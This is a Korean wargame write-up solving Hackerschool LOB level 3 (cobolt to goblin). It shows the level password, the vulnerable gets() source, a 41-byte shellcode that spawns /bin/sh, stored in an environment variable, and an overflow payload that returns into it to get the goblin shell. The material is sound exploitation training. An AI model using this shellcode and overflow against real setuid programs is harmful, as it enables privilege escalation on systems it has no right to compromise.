반응형


해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이


M4ndU




해커스쿨 LOB [cobolt -> goblin] 풀이입니다.


ID | cobolt

PW | hacking exposed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: cobolt

Password:

[cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ ls -l

total 16

-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin

-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}




저번과 같은데 입력을 gets함수로 받네요. 

환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.



[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv

ADDR -> 0xbffffea7




[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin

AAAAAAAAAAAAAAAAAAAA??

my-pass

euid = 503

hackers proof


다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts